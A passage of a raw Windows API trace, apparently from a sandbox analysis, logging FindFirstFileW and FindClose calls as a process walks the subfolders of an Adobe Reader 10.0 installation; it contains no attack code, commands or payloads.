nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.920] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.920] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.921] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.921] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.923] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.923] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.924] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.924] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.925] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.925] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.927] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.929] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.929] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.931] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.932] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.934] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.935] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.938] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.940] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.941] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.942] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.943] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.945] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.945] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.948] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.948] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.948] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.948] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.950] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.956] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.958] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.958] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.959] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.959] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.959] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.960] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.960] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.960] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.961] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.961] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.962] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.962] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.963] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.963] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.964] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.964] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.965] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.965] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.966] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.966] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.966] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.966] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.969] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.970] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.970] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.970] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.971] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.971] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.972] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.976] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.977] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0029.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0029.979] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.981] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.994] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.995] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.999] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.999] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.000] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.000] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, 